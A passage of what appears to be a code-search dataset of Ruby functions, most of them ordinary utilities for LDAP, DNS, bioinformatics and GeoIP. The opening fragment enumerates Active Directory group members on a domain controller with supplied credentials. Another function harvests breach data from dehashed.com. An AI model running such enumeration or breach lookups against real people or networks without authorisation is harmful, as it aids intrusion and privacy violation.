Checking to see if #{group} is actually a user account\"\n user_group_membership(domain,username,password,dc_ip,group)\n #abort\n elsif enum.length == 1\n puts \"[-] It looks like the target domain contoller at #{dc_ip} is unresponsive or the group #{group} does not exist\"\n puts \"[+] Checking to see if #{group} is actually a user account\"\n user_group_membership(domain,username,password,dc_ip,group)\n #abort\n else\n enum = `net rpc group members \"#{group}\" -I #{dc_ip} -U \"#{domain}\\\\#{username}%#{password}\" | tee #{output}`\n puts enum\n puts \"[+] Success! Members which are in the #{group} group have been stored in #{output}\"\n end\nend", "title": "" }, { "docid": "83354f2c22d63ac3193a1b141d286aea", "score": "0.46510625", "text": "def can_access(u)\n if $config.options['debug']\n puts(\"ident: #{@ident} vs. #{u.ident}\")\n puts(\" host: #{@host} vs. #{u.rhost}\")\n puts(\" cert: #{@certfp} vs. #{u.certfp}\")\n puts(\" acct: #{@account} vs. #{u.su}\")\n puts(\"matc1: #{Match.match(@ident, u.ident, true)}\")\n puts(\"matc2: #{Match.match(@host, u.rhost, true)}\")\n puts(\" cert: #{(u.certfp && @certfp && u.certfp == @certfp)}\")\n puts(\" acct: #{u.su && @account && u.su == @account}\")\n end\n #identmatch = match(@ident, u.ident, true)\n #hostmatch = match(@host, u.rhost, true)\n #certfpmatch = u.certfp && @certfp && u.certfp\n Match.match(@ident, u.ident, true) && (Match.match(@host, u.rhost, true) ||\n Match.match(@host, u.ip, true))\n ((u.certfp && @certfp && u.certfp == @certfp) ||\n (u.su && @account && u.su == @account)) &&\n # Invalid O:line\n !(!@account && !@certfp)\n end", "title": "" }, { "docid": "25ccd3ff6f2e49a8a1bca2dfacb5c6c0", "score": "0.46480373", "text": "def split_upids(idmap_file)\n puts \"split idmapping.dat to each prefix files\"\n up_refp_output = prepare_prefix_files(idmap_file, \"protein_id\")\n up_refg_output = prepare_prefix_files(idmap_file, \"gene_id\")\n\n cnt = 0\n # it is assumed that the tax_id is followed by a protein_id or gene_id\n current_tax = {upid: nil, tax_id: nil}\n taxid_missing_list = [] \n File.open(idmap_file, \"r\") do |f|\n f.each_line do |line|\n up, xref, id = line.strip.split(\"\\t\")\n case xref\n when \"NCBI_TaxID\"\n current_tax = {upid: up.split(\"-\").first, tax_id: id}\n when \"RefSeq\", \"GeneID\"\n # Push only the tax_id with refseq protein_id or gene_id\n if current_tax[:upid] == up.split(\"-\").first\n if xref == \"RefSeq\"\n prefix = id.chomp.strip[0..4]\n up_refp_output[prefix].puts line.chomp.strip + \"\\t\" + current_tax[:tax_id]\n elsif xref == \"GeneID\"\n prefix = id.chomp.strip[0]\n up_refg_output[prefix].puts line.chomp.strip + \"\\t\" + current_tax[:tax_id]\n end\n else\n taxid_missing_list.push(up)\n end\n end\n cnt += 1\n if (cnt % 100000 == 0)\n puts cnt\n end\n end\n # list of upid that can't get taxid. Depends on the order of idmapping.dat\n out = File.open(\"taxid_missing_list.json\", \"w\") unless taxid_missing_list.size == 0\n taxid_missing_list.each do |upid|\n out.puts JSON.pretty_generate(taxid_missing_list)\n end\n end\n\n # close files\n up_refp_output.each do |k, v|\n v.flush\n v.close\n end\n up_refg_output.each do |k, v|\n v.flush\n v.close\n end\nend", "title": "" }, { "docid": "a63f1e34202eb8e09593e848cf3fcbf6", "score": "0.4644199", "text": "def ous\n unless @ous\n @ous = []\n @ldap_object.dn.split(/,/).each do |entry|\n @ous.push Adauth::AdObjects::OU.where('name', entry.gsub(/OU=/, '')).first if entry =~ /OU=/\n end\n end\n @ous\n end", "title": "" }, { "docid": "55ce41d729a0bb28770566fb2d4592f6", "score": "0.46339637", "text": "def parse_transaction(string)\n {\n # identificação do registro transação\n :tipo_registro => string[0..0].to_i,\n # identificação do tipo de inscrição/empresa\n :codigo_inscricao => string[1..2],\n # número de inscrição da empresa (cpf/cnpj)\n :numero_inscricao => string[3..16],\n # agência mantenedora da conta\n :agencia => string[17..20],\n # complemento de registro\n :zeros => string[21..22],\n # número da conta corrente da empresa\n :conta => string[23..27],\n # dígito de auto-conferência ag/conta empresa\n :dac => string[28..28],\n # complemento de registro\n #:brancos1 => string[29..36],\n # identificação do título na empresa\n :uso_da_empresa => string[37..61],\n # identificação do título no banco\n :nosso_numero1 => string[62..69],\n # complemento de registro\n #:brancos2 => string[70..81],\n # número da carteira\n :carteira1 => string[82..84],\n # identificação do título no banco\n :nosso_numero2 => string[85..92],\n # dac do nosso número\n :dac_nosso_numero => string[93..93],\n # complemento de registro\n #:brancos3 => string[94..106],\n # código da carteira\n :carteira2 => string[107..107],\n # identificação da ocorrência\n :codigo_ocorrencia => string[108..109],\n # data de de ocorrência no banco\n :data_ocorrencia => convert_date(string[110..115]),\n # número do documento de cobrança (dupl, np etc)\n :numero_documento => string[116..125],\n # confirmação do número do título no banco\n :nosso_numero3 => string[126..133],\n # complemento de registro\n #:brancos4 => string[134..145],\n # data de vencimento do título\n :vencimento => convert_date(string[146..151]),\n # valor nominal do título\n :valor_titulo => string[152..164].to_f / 100,\n # número do banco na câmara de compensação\n :codigo_banco => string[165..167],\n # ag. cobradora, ag. de liquidação ou baixa\n :agencia_cobradora => string[168..171],\n # dac da agência cobradora\n :dac_agencia_cobradora => string[172..172],\n # espécie do título\n :especie => string[173..174],\n # valor da despesa de cobrança\n :tarifa_cobranca => string[175..187].to_f / 100,\n # complemento de registro\n #:brancos5 => string[188..213],\n # valor do iof a ser recolhido (notas seguro)\n :valor_iof => string[214..226].to_f / 100,\n # valor do abatimento concedido\n :valor_abatimento => string[227..239].to_f / 100,\n # valor do desconto concedido\n :descontos => string[240..252].to_f / 100,\n # valor lançado em conta corrente\n :valor_principal => string[253..265].to_f / 100,\n # valor de mora e multa pagos pelo sacado\n :juros_mora_multa => string[266..278].to_f / 100,\n # valor de outros créditos\n :outros_creditos => string[279..291].to_f / 100,\n # complemento de registro\n #:brancos6 => string[292..294],\n # data de crédito desta liquidação\n :data_credito => convert_date(string[295..300]),\n # código da instrução cancelada\n :instrucao_cancelada => string[301..304],\n # complemento de registro\n #:brancos7 => string[305..323],\n # nome do sacado\n :nome_sacado => string[324..353],\n # complemento de registro\n #:brancos8 => string[354..376],\n # registros rejeitados ou alegação do sacado\n :erros => string[377..384],\n # complemento de registro\n #:brancos9 => string[385..391],\n # meio pelo qual o título foi liquidado\n :codigo_liquidacao => string[392..393],\n # número sequencial do registro no arquivo\n :numero_sequencial => string[394..399].to_i\n }\n end", "title": "" }, { "docid": "4f7c8f257fcfdc3c8b5e0dcbcd141f6b", "score": "0.46318716", "text": "def fetch_zone\n \n # zone name pass from url\n zone_name = params[:src]\n # Record type, A or PTR\n record_type = params[:type]\n # zone name pass from url\n network_type = params[:net]\n \n # Output Buffer\n @o = ''\n \n if network_type == 'int'\n dns_zone = DnsZone.find_by_name(zone_name + \"-int\")\n else\n dns_zone = DnsZone.find_by_name(zone_name)\n end\n \n # If can't find the specified zone, we'll return with some useful text\n if dns_zone.nil?\n @o += \"; ##ERROR## Invalid zone name specified.\\n\"\n @o += \"; Valid names can be one of the following:\\n\"\n \n @o += DnsZone.find(:all, :order => :name, :select => :name).collect{|a| \"; \" + a.name}.join(\"\\n\")\n else\n # Our rules for dns record generation. \n # 1. Only generate a record once\n # 2. Generate record in closest zone defined.\n # 3. If nothing match, generate nothing.\n # 4. Record will be specified in absolute name, include the \".\" at the end\n # For ex: ads1.vip.sc9.yahoo.com should match zone, \"vip.sc9.yahoo.com\" first, if not found,\n # try sc9.yahoo.com, then yahoo.com, then .com. If no zone match, then this record is ignored.\n # @o += \"; Generated zone for #{zone_name} on #{Time.new.to_s}\\n\"\n # Dont think we need ORIGIN, will find out when deploy internal DNS\n #@o += \"$ORIGIN #{dns_zone.name}.\\n\"\n @o += \"$TTL #{dns_zone.my_ttl}\\n\"\n \n # In order to make sure we only generate one record, we actually have get all asset and zone\n # then put them in appropriate places. It kinda suck, but one http call can't get us multiple file\n # Unless we get everything into one file, then have the local script to parse it into multiple\n # files, but that sounds a bit too hacky. So instead, we let AST do the expensive work.\n\n # Alright, let's build the SOA first.\n @o += \"@ \\t IN \\t SOA #{dns_zone.my_soa} (\\n\"\n @o += \"\\t\\t\\t #{Time.new.to_i} \\t;serial\\n\"\n @o += \"\\t\\t\\t #{dns_zone.my_refresh} \\t;refresh\\n\"\n @o += \"\\t\\t\\t #{dns_zone.my_retry} \\t;retry\\n\"\n @o += \"\\t\\t\\t #{dns_zone.my_expire} \\t;expire\\n\"\n @o += \"\\t\\t\\t #{dns_zone.my_minimum} \\t;minimum\\n\"\n @o += \");\\n\"\n # NS\n for ns in dns_zone.my_dns_ns_records\n @o += \"\\t\\tNS\\t\\t#{ns.name}.\\n\" \n end\n # MX\n for mx in dns_zone.my_dns_mx_records\n @o += \"\\t\\tMX\\t\\t#{mx.priority} #{mx.name}.\\n\"\n end\n \n @o += \"\\n\"\n \n # use appropriate function for each type of record\n if record_type == 'a'\n \t# If master A record is not null, put it in here\n \tif ! dns_zone.mastera.nil?\n @o += \"\\t\\t\\t\\t#{dns_zone.mastera}\\n\\n\"\n end\n @o += fetch_dns_a(zone_name) \n elsif record_type == 'ptr'\n @o += fetch_dns_ptr(zone_name)\n end\n #@o += assets.collect{|a| a.primary_interface.ip_to_string rescue nil}.join(\"<br/>\")\n end\n \n render(:partial => \"output\",:object => @o) \n\n end", "title": "" }, { "docid": "9ac36d85bf3338c35d8096c72f1930ce", "score": "0.4629083", "text": "def ldap_sincroniza_usuarios(prob)\n usuarios = []\n deshab = []\n opcon = {\n host: Rails.application.config.x.jn316_servidor,\n port: Rails.application.config.x.jn316_puerto,\n auth: {\n method: :simple, \n username: Rails.application.config.x.jn316_admin,\n password: ENV['JN316_CLAVE']\n }\n }.merge(Rails.application.config.x.jn316_opcon)\n filter = Net::LDAP::Filter.eq( \"objectClass\", 'posixAccount')\n ldap_conadmin = Net::LDAP.new( opcon )\n lusuarios = ldap_conadmin.search(\n base: Rails.application.config.x.jn316_basegente, \n filter: filter \n )\n if lusuarios.nil?\n prob << ldap_conadmin.get_operation_result.code.to_s +\n ' - ' + ldap_conadmin.get_operation_result.message \n return nil\n end\n lusuarios.each do |entry|\n #byebug\n u = crear_actualizar_usuario(entry.cn[0], entry, nil, prob)\n if (u.nil?)\n return [usuarios, []]\n end\n usuarios << u.id\n end\n puts \"Actualizados \" + usuarios.length.to_s + \" registros de usuarios\"\n # Si se eliminaron registros del LDAP (que no se recomienda) \n # deshabilitar en base\n ::Usuario.habilitados.where('ultimasincldap IS NOT NULL').each do |u|\n unless usuarios.include?(u.id)\n u.fechadeshabilitacion = Date.today\n u.ultimasincldap = nil\n u.save\n deshab << u.id\n end\n end\n puts \"Deshabilitados \" + deshab.length.to_s + \n \" registros de usuarios que estuvieron en LDAP pero ya no\"\n \n return [usuarios, deshab]\n rescue Exception => exception\n prob << 'Problema conectando a servidor LDAP ' +\n '(ldap_sincroniza_usuarios). Excepción: ' + exception.to_s\n puts prob\n return [usuarios, deshab]\n end", "title": "" }, { "docid": "d6f3fd566ffaef1074be4424a950c809", "score": "0.46265474", "text": "def parse_dns(dns_raw)\n raw_data=dns_raw.reject { |line| line.empty? or line[0] == \"#\" }#removing hash and empty lines,string\n split_data=raw_data.map { |line| line.strip.split(\", \") }#split the entry into columns using ','\n clean_data=split_data.reject { |record| record.length < 3 }# discarding false entries in zone file\n clean_data.each_with_object({}) do |record, records|# preparing hash for dns entries\n records[record[1]] = {\n type: record[0],\n target: record[2],\n }\n end\n end", "title": "" }, { "docid": "bf6d5b1a5b86cce774fe2155b8a87e80", "score": "0.46246994", "text": "def convert_binary_traceroutes(data, print=false)\n offset=0\n traceroutes=[]\n while not offset>=data.length\n header=data[offset,16].unpack(\"L4\")\n offset += 16\n if header.nil? or header.include?(nil) \n raise TruncatedTraceFileException.new(traceroutes), \"Error reading header\", caller\n end\n client_id=header.at(0)\n uid=header.at(1)\n num_tr=header.at(2)\n record_length=header.at(3)\n (0...num_tr).each{|traceroute_index|\n tr_header=data[offset,8].unpack(\"NL\")\n offset += 8\n if tr_header.nil? or tr_header.include?(nil)\n raise TruncatedTraceFileException.new(traceroutes), \"Error reading TR header\", caller\n end\n dst=Inet::ntoa(tr_header.at(0))\n numhops=tr_header.at(1)\n hops = []\n rtts = []\n ttls = []\n last_nonzero=-1\n (0...numhops).each{|j|\n hop_info=data[offset,12].unpack(\"NfL\")\n offset += 12\n if hop_info.nil? or hop_info.include?(nil)\n raise TruncatedTraceFileException.new(traceroutes), \"Error reading hop\", caller\n end\n ip = Inet::ntoa(hop_info.at(0))\n rtt = hop_info.at(1)\n ttl = hop_info.at(2)\n if (ttl > 512)\n raise TruncatedTraceFileException.new(traceroutes), \"TTL>512, may be corrupted\", caller\n end\n if ip!=\"0.0.0.0\"\n last_nonzero=j\n end\n hops << ip\n rtts << rtt\n ttls << ttl\n\n }\n if last_nonzero>-1\n traceroutes << [dst,hops,rtts,ttls]\n if print\n tr_s=\"#{dst} #{last_nonzero+1} #{hops[0..last_nonzero].join(\" \")}\"\n if block_given?\n yield(tr_s)\n else \n $stdout.puts \"tr_s\"\n end \n #puts \"#{ARGV[1..-1].join(\" \")} #{dst} #{last_nonzero+1} #{hops[0..last_nonzero].join(\" \")}\"\n end\n end\n\n }\n end\n return traceroutes\nend", "title": "" }, { "docid": "b509526988ee27d47e02a9a28f75244a", "score": "0.46239886", "text": "def print_formated(f,u,c,i)\n found = Hash.new\n found[\"u\"] = f.index(/(%[\\-\\.0-9]*u[0-9]*)/)\n found[\"c\"] = f.index(/(%[\\-\\.0-9]*c[0-9]*)/)\n found[\"i\"] = f.index(/(%[\\-\\.0-9]*i[0-9]*)/)\n\n username_output_format = /(%[\\-\\.0-9]*u[0-9]*)/.match(f)[1].gsub('u', 's') if !found[\"u\"].nil?\n cpu_usage_output_format = /(%[\\-\\.0-9]*c[0-9]*)/.match(f)[1].gsub('c', 's') if !found[\"c\"].nil?\n iowait_usage_output_format = /(%[\\-\\.0-9]*i[0-9]*)/.match(f)[1].gsub('i', 's') if !found[\"i\"].nil?\n\n libc_f = f\n\n libc_f = libc_f.sub(/%[\\-\\.0-9]*u[0-9]*/, username_output_format) if !found[\"u\"].nil?\n libc_f = libc_f.sub(/%[\\-\\.0-9]*c[0-9]*/, cpu_usage_output_format) if !found[\"c\"].nil?\n libc_f = libc_f.sub(/%[\\-\\.0-9]*i[0-9]*/, iowait_usage_output_format) if !found[\"i\"].nil?\n \n _print_formated(libc_f,create_ordered_output_from_format_string(f,u,c,i))\nend", "title": "" }, { "docid": "b546b8a7012eeaa22e080f4f411be3af", "score": "0.46186018", "text": "def modify_line_logic\n f = open($BACK_UCF,\"r\")\n new = open($ORG_UCF,\"w\")\n mode = false\n match = false\n cont = false\n i = 0, j = 0\n target_word = \"\"\n\n while line = f.gets\n\n if/_rt/ =~ line\n if /^#/ =~ line\n else\n line = \"#\" + line\n end\n end\n\n if cont == true\n if /^#/ =~ line\n else\n line = \"#\" + line\n end\n if /}\\\";$/ =~ line\n cont = false\n end\n end \n \n $remove_list_bld.each do |net|\n error_net = net.gsub(\"\\/\",\"\\\\/\")\n error_net = error_net.gsub(\"\\[\",\"\\\\[\")\n net = error_net.gsub(\"\\]\",\"\\\\]\")\n if /#{net}/ =~ line\n if /^#/ =~ line\n elsif /\\AINST/ =~ line\n line = \"#\" + line\n if $VERBOSE == true\n printf(\"match [%4d]:%s\", i, line)\n i += 1\n end\n break\n elsif /\\ANET/ =~ line\n cont = true\n line = \"#\" + line\n if $VERBOSE == true\n printf(\"match [%04d]:%s\", i, line)\n i += 1\n end\n break\n else\n printf(\"[E] %s\", line)\n exit\n end\n end\n end\n if (j / 100) == 0\n printf(\".\")\n end\n j += 1\n new.write(line)\n end\n f.close\n printf(\"\\n\")\nend", "title": "" }, { "docid": "69b7b73d7d3a1ac60e20beb17aa3a17e", "score": "0.46179125", "text": "def ip_address_distribution(rule_name, info)\n\n # Get to the advanced page.\n self.goto_advanced(rule_name, info)\n \n # Get to the \"IP Address Distribution\" page.\n begin\n @ff.link(:text, 'IP Address Distribution').click\n self.msg(rule_name, :info, 'IP Address Distribution', 'Reached page \\'IP Address Distribution\\'.')\n rescue\n self.msg(rule_name, :error, 'IP Address Distribution', 'Did not reach \\'IP Address Distribution\\' page')\n return\n end\n \n # Check the key.\n if ( info.has_key?('section') &&\n info.has_key?('subsection') )then\n # Right,go on.\n else\n self.msg(rule_name,:error,'ip_address_distribution','Some key NOT found.')\n return\n end\n \n # Begin parsing the json file.\n \n # Output the table.\n \n # Find the table.\n sTable = false\n @ff.tables.each do |t|\n if ( t.text.include? 'Name' and \n t.text.include? 'Service' and\n ( not t.text.include? 'IP Address Distribution') and\n ( not t.text.include? 'Close') and\n t.row_count >= 2 )then\n sTable = t\n break\n end\n end\n \n if sTable == false\n # Wrong here\n self.msg(rule_name,:error,'ip_address_distribution','Did NOT find the target table.')\n return\n end\n \n iFlag = 0\n strEntry = \"\"\n \n # Find the row\n sTable.each do |row|\n \n iFlag = iFlag + 1\n \n # not for first line\n if iFlag == 1\n next\n end\n strEntry = \"IP\" + (iFlag - 1).to_s\n \n # Output in to the result.\n self.msg(rule_name,strEntry,'Name',row[1])\n self.msg(rule_name,strEntry,'Service',row[2])\n self.msg(rule_name,strEntry,'Subnet Mask',row[3])\n self.msg(rule_name,strEntry,'Dynamic IP Range',row[4])\n \n end \n\n if info.has_key?('Name')\n case info['Name']\n when 'Network (Home/Office)'\n DoNetworkHomeOfficePage(rule_name, info)\n when 'Broadband Connection (Ethernet)'\n DoBroadbandConnectionEthernetPage(rule_name, info)\n when 'Broadband Connection (Coax)'\n DoBroadbandConnectionCoaxPage(rule_name, info)\n when 'Connection List'\n DoConnectionList(rule_name, info)\n when 'Access Control'\n DoAccessControl(rule_name, info)\n else\n self.msg(rule_name, :error, '', 'No Name undefined')\n end \n else\n self.msg(rule_name, :error, '', 'No layout key found')\n end\n \n # Close the window\n if @ff.text.include?'Close'\n @ff.link(:text,'Close').click\n end\n \n # Output the result\n self.msg(rule_name,:Result_Info,'ip_address_distribution','SUCCESS') \n \n end", "title": "" }, { "docid": "05e38afb7316f23652da445b228e53f1", "score": "0.46142352", "text": "def search_by_string entity_name,headers\n begin\n\n page_num = 1\n response = http_get_body(\"https://dehashed.com/search?query=#{entity_name}&page=#{page_num}\",nil, headers)\n json = JSON.parse(response)\n\n\n #check if entries different to null\n if json[\"entries\"]\n\n json[\"entries\"].each do |e|\n #check if Email different to null and create entity\n if e[\"email\"]\n _create_entity(\"EmailAddress\", {\"name\" => e[\"email\"]})\n end\n #check if username different to null and create entity\n if e[\"username\"]\n _create_entity(\"Person\", {\"name\" => e[\"username\"]})\n end\n #check if name different to null and create entity\n if e[\"name\"]\n _create_entity(\"Person\", {\"name\" => e[\"name\"]})\n end\n #check if phone number different to null and create entity\n if e[\"phone\"]\n _create_entity(\"PhoneNumber\", {\"name\" => e[\"phone\"]})\n end\n #check if address different to null and create entity\n #if e[\"address\"]\n # _create_entity(\"PhysicalLocation\", {\"name\" => e[\"address\"]})\n #end\n\n _create_issue({\n name: \"leak found related to: #{_get_entity_name} Source: #{e[\"obtained_from\"]}\",\n type: \"Data leak\",\n severity: 2,\n status: \"confirmed\",\n description:\"Email:#{e[\"email\"]}\\n username: #{e[\"username\"]}\\n password: *******#{e[\"password\"][-4...-1]}\\n\n # Hashed Password:#{e[\"hashed_password\"]}\\n IP Address: #{e[\"ip_address\"]}\\n phone:#{e[\"phone\"]} Source #{e[\"obtained_from\"]}\",\n details: e\n })\n end\n\n while json[\"entries\"] do\n page_num += 1\n\n response = http_get_body(\"https://dehashed.com/search?query=#{entity_name}&page=#{page_num}\",nil, headers)\n json = JSON.parse(response)\n\n #check if entries different to null\n if json[\"entries\"]\n\n json[\"entries\"].each do |e|\n #check if Email different to null and create entity\n if e[\"email\"]\n _create_entity(\"EmailAddress\", {\"name\" => e[\"email\"]})\n end\n #check if username different to null and create entity\n if e[\"username\"]\n _create_entity(\"Person\", {\"name\" => e[\"username\"]})\n end\n #check if name different to null and create entity\n if e[\"name\"]\n _create_entity(\"Person\", {\"name\" => e[\"name\"]})\n end\n #check if phone number different to null and create entity\n if e[\"phone\"]\n _create_entity(\"PhoneNumber\", {\"name\" => e[\"phone\"]})\n end\n #check if address different to null and create entity\n #if e[\"address\"]\n # _create_entity(\"PhysicalLocation\", {\"name\" => e[\"address\"]})\n #end\n\n _create_issue({\n name: \"leak found related to: #{_get_entity_name} Source: #{e[\"obtained_from\"]}\",\n type: \"Data leak\",\n severity: 2,\n status: \"confirmed\",\n description:\"Email:#{e[\"email\"]}\\n username: #{e[\"username\"]}\\n password: *******#{e[\"password\"][-4...-1]}\\n\n # Hashed Password:#{e[\"hashed_password\"]}\\n IP Address: #{e[\"ip_address\"]}\\n phone:#{e[\"phone\"]} Source #{e[\"obtained_from\"]}\",\n details: e\n })\n end\n end\n\n end\n end\n #exciption\n rescue JSON::ParserError => e\n _log_error \"Unable to parse JSON: #{e}\"\n end\n\n end", "title": "" }, { "docid": "3d691ddbeb9e40e24b02941929c88de6", "score": "0.46119767", "text": "def get_da_urls (doc,comment_url)\n doc.search('table tbody tr').each do |tr|\n # Columns in table\n # Show Number Submitted Details\n tds = tr.search('td')\n\n break if tds[0].inner_text =~ /no records/\n\n h = tds.map{|td| td.inner_html}\n\n puts h\n info_url = 'https://pdonline.toowoombarc.qld.gov.au/Masterview/Modules/ApplicationMaster/' + tds[0].at('a')['href'].strip\n puts info_url\n descParts = h[3].split('<br>')\n record = {\n 'info_url' => info_url,\n 'comment_url' => comment_url,\n 'council_reference' => clean_whitespace(h[1]),\n 'date_received' => Date.strptime(clean_whitespace(h[2]), '%d/%m/%Y').to_s,\n # TODO: Some DAs have multiple addresses, we're just getting the first :(\n 'address' => clean_whitespace(descParts[0]),\n 'description' => clean_whitespace(descParts[1]),\n 'date_scraped' => Date.today.to_s\n }\n\n if (ScraperWiki.select(\"* from data where `council_reference`='#{record['council_reference']}'\").empty? rescue true)\n ScraperWiki.save_sqlite(['council_reference'], record)\n else\n puts \"Skipping already saved record \" + record['council_reference']\n end\n end\nend", "title": "" }, { "docid": "ce1e980cbf2afdd964cfff266f7a11b2", "score": "0.46094224", "text": "def getTaxDump\n if !File.exists?(\"taxdump.tar.gz\")\n STDERR << \"Getting taxdump...\\n\"\n require 'net/ftp'\n Net::FTP.open(\"ftp.ncbi.nih.gov\") do |ftp|\n ftp.login\n files = ftp.chdir(\"/pub/taxonomy\")\n ftp.getbinaryfile(\"taxdump.tar.gz\", \"taxdump.tar.gz\", 1024)\n end\n end\n if !File.exists?(\"names.dmp\")\n `tar xvfz taxdump.tar.gz`\n end\nend", "title": "" }, { "docid": "e2c27019450b65d07dc52493acf58096", "score": "0.46017176", "text": "def map_tgup_by_proteinid()\n # output unmatch list for map by gene_id (prefix of gene_id is first char of gene_id. (\"1\", \"2\", ..))\n refg_output = {}\n FileUtils.mkdir_p(\"#{$prepare_dir}/refg\") unless File.exist?(\"#{$prepare_dir}/refg\")\n (1..9).each do |prefix|\n refg_output[prefix.to_s] = File.open(\"#{$prepare_dir}/refg/#{prefix.to_s}.dat\", \"w\")\n end\n\n output_header\n\n # try mapping the same prefix of RefSeq data and UniProt data(for performance)\n Dir.glob(\"#{$prepare_dir}/refp/*.dat\") do |input_file|\n # parse data\n refseq_gene_list = []\n protein_id_prefix = input_file.split(\"/\").last.split(\"\\.\").first\n puts \"protein_id prefix: #{protein_id_prefix}\"\n File.open(input_file) do |f|\n f.each_line do |line|\n columns = line.chomp.strip.split(\"\\t\")\n gene_id_prefix = columns[4].nil? ? \"\" : columns[4][0]\n refseq_gene_list.push({taxid: columns[0], gene_rsrc: columns[1], gene_label: columns[2], protein_id: columns[3], gene_id: columns[4], gene_id_prefix: gene_id_prefix})\n end\n end\n\n $count_nc += refseq_gene_list.size if protein_id_prefix == \"no_protein_id\" # no protein_id on RefSeq\n up_list = load_up_refp(protein_id_prefix) # get same prefix data from UniProt\n\n refseq_gene_list.each do |refseq_data|\n match = false\n output_tax(refseq_data) # output all gene-tax turtle\n unless up_list.nil? # exist prefix on UniProt\n match_list = up_list[refseq_data[:protein_id]]\n unless match_list.nil? # match some uniprot_ids\n match_list.each do |up_info|\n if refseq_data[:taxid] == up_info[:taxid] # ignore unmatch tax\n output_idmap(refseq_data, up_info[:upid])\n match = true\n else # match protein_id but not match tax_id\n output_uptax(up_info)\n $taxup_list[up_info[:taxid]] = true\n $tax_mismatch[\"#{refseq_data[:taxid]}-#{up_info[:taxid]} : #{refseq_data[:protein_id]}\"] = true\n end\n end\n end\n end\n if match == false\n if refseq_data[:gene_id_prefix].nil? ||refseq_data[:gene_id_prefix] == \"\" # can't salvage it by gene_id.\n $no_up += 1\n else # output a file to each prefix of gene_id that can be salvaged by gene_id\n line = [refseq_data[:taxid], refseq_data[:gene_rsrc], refseq_data[:gene_label], refseq_data[:protein_id], refseq_data[:gene_id], refseq_data[:gene_id_prefix]]\n refg_output[refseq_data[:gene_id_prefix]].puts(line.join(\"\\t\"))\n end\n end\n $count += 1\n end\n end\n refg_output.each do |k, v|\n v.flush\n v.close\n end\nend", "title": "" }, { "docid": "cbcd1f6237c2a0fb2fc04fcac1d1bce8", "score": "0.4596414", "text": "def detect_database_type! # :nodoc:\n @file.seek(-3, IO::SEEK_END)\n @ip_bits = 32\n\n 0.upto(STRUCTURE_INFO_MAX_SIZE - 1) do |i|\n if @file.read(3).bytes.all? { |byte| byte == 255 }\n @database_type =\n\t if @file.respond_to?(:getbyte)\n\t @file.getbyte\n\t else\n\t @file.getc\n\t end\n\n @database_type -= 105 if @database_type >= 106\n\n if (@database_type == Edition::REGION_REV0)\n # Region Edition, pre June 2003\n @database_segments = [STATE_BEGIN_REV0]\n elsif (@database_type == Edition::REGION_REV1)\n # Region Edition, post June 2003\n @database_segments = [STATE_BEGIN_REV1]\n elsif @database_type == Edition::CITY_REV0 ||\n @database_type == Edition::CITY_REV1 ||\n @database_type == Edition::ORG ||\n @database_type == Edition::ORG_V6 ||\n @database_type == Edition::ISP ||\n @database_type == Edition::ISP_V6 ||\n\t @database_type == Edition::REGISTRAR ||\n\t @database_type == Edition::REGISTRAR_V6 ||\n\t @database_type == Edition::USERTYPE ||\t # Many of these files mis-identify as ASNUM files\n\t @database_type == Edition::USERTYPE_V6 ||\n @database_type == Edition::DOMAIN ||\n @database_type == Edition::DOMAIN_V6 ||\n @database_type == Edition::ASNUM ||\n @database_type == Edition::ASNUM_V6 ||\n\t @database_type == Edition::NETSPEED_REV1 ||\n\t @database_type == Edition::NETSPEED_REV1_V6 ||\n\t @database_type == Edition::LOCATIONA ||\n\t # @database_type == Edition::LOCATIONA_V6 ||\n\t @database_type == Edition::ACCURACYRADIUS ||\n\t @database_type == Edition::ACCURACYRADIUS_V6 ||\n @database_type == Edition::CITYCONF ||\n @database_type == Edition::COUNTRYCONF ||\n @database_type == Edition::REGIONCONF ||\n @database_type == Edition::POSTALCONF ||\n @database_type == Edition::CITY_REV0_V6 ||\n @database_type == Edition::CITY_REV1_V6\n\n # City/Org Editions have two segments, read offset of second segment\n @database_segments = [0]\n sr = @file.read(3).unpack(\"C*\")\n @database_segments[0] += le_to_ui(sr)\n\n end\n\n\tcase @database_type\n\twhen Edition::COUNTRY\n\twhen Edition::NETSPEED_REV1\n\twhen Edition::ASNUM\n\twhen Edition::CITY_REV0\n\twhen Edition::CITY_REV1\n\twhen Edition::REGION_REV0\n\twhen Edition::REGION_REV1\n\t @ip_bits = 32\n\t @record_length = 3\n\n\twhen Edition::ORG,\n\t Edition::DOMAIN,\n\t Edition::ISP\n\t @ip_bits = 32\n\t @record_length = 4\n\n\twhen Edition::ASNUM_V6,\n\t Edition::CITY_REV0_V6,\n\t Edition::CITY_REV1_V6,\n\t Edition::NETSPEED_REV1_V6,\n\t Edition::COUNTRY_V6,\n\t Edition::PROXY\n\t @ip_bits = 128\n\t @record_length = 3\n\n\twhen Edition::ACCURACYRADIUS_V6,\n\t Edition::DOMAIN_V6,\n\t Edition::ISP_V6,\n\t Edition::LARGE_COUNTRY_V6,\n\t Edition::LOCATIONA_V6,\n\t Edition::ORG_V6,\n\t Edition::REGISTRAR_V6,\n\t Edition::USERTYPE_V6\n\t @ip_bits = 128\n\t @record_length = 4\n\n\telse\n\t raise \"unimplemented database type\"\n\tend\n\n break\n else\n @file.seek(-4, IO::SEEK_CUR)\n end\n end\n\n if (@database_type == Edition::COUNTRY ||\n @database_type == Edition::PROXY ||\n @database_type == Edition::COUNTRY_V6 ||\n @database_type == Edition::NETSPEED)\n @database_segments = [COUNTRY_BEGIN]\n end\n\n # puts \"Detected IPv#{@ip_bits == 32 ? '4' : '6'} database_type #{@database_type} with #{@database_segments[0]} records of length #{@record_length} (data starts at #{@database_segments[0]*@record_length*2})\"\n end", "title": "" }, { "docid": "b8e0e6c829795ca2dffa2c040f506da5", "score": "0.45912167", "text": "def parser\n\t\t# read mail header from the file\n\t\tfile= File.open(\"header.txt\",\"r\")\n header=\"\"\n\t\tfile.each_line { |line|\n header= get_header_content(line).to_s\n check_google_apps(line)\n line=line.downcase\n\t\t\t#parser received value from mail header\n\t\t\tparser_received(line)\n parser_email(line)\n check_google_apps(line)\n\t\t}\n lower_case_header=header.downcase;\n check_microsoft_exchange(lower_case_header)\n check_lotus_notes(lower_case_header)\n check_novell_grouwpise(lower_case_header)\n check_other_apps(lower_case_header)\n check_software_conflicts()\n check_software_version_conflicts()\n get_security_software(lower_case_header)\n\tend", "title": "" }, { "docid": "a1e402660f8976d105941a01ad2b2cce", "score": "0.4585857", "text": "def processa_de\n puts(format(\"%<n>4i TRADES\\tBITCOINDE\\tINSERIDAS det\", n: apide.trades.empty? ? 0 : dml(det_ins)))\n 